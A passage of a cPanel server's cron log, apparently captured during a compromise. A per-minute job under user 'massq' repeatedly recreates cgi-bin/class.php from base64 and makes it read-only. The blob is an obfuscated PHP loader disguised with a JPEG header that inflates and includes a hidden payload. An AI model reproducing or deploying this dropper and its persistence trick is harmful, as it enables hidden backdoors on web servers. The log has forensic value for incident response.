B6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:40:01 server CROND[29694]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:41:01 server CROND[30684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:41:01 server CROND[30685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:41:01 server CROND[30687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:42:01 server CROND[31072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:42:01 server CROND[31074]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 18:42:01 server CROND[31073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:42:01 server CROND[31075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:43:01 server CROND[31520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:43:01 server CROND[31521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:43:01 server CROND[31522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:44:01 server CROND[31902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:44:01 server CROND[31903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:44:01 server CROND[31904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:45:02 server CROND[32291]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:45:02 server CROND[32295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:45:02 server CROND[32301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:45:02 server CROND[32302]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:45:02 server CROND[32303]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:45:02 server CROND[32304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:45:02 server CROND[32306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:46:01 server CROND[679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:46:01 server CROND[680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:46:01 server CROND[681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:47:01 server CROND[1248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:47:01 server CROND[1249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:47:01 server CROND[1251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:48:01 server CROND[1660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:48:01 server CROND[1661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:48:01 server CROND[1662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:49:01 server CROND[2157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:49:01 server CROND[2156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:49:01 server CROND[2158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:50:01 server CROND[2571]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:50:01 server CROND[2575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:50:01 server CROND[2577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:50:01 server CROND[2579]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:50:01 server CROND[2581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:50:01 server CROND[2585]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:50:01 server CROND[2582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:50:01 server CROND[2580]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 18:50:01 server CROND[2583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:51:01 server CROND[3467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:51:01 server CROND[3468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:51:01 server CROND[3469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:52:01 server CROND[3946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:52:01 server CROND[3947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:52:01 server CROND[3948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:53:02 server CROND[4340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:53:02 server CROND[4341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
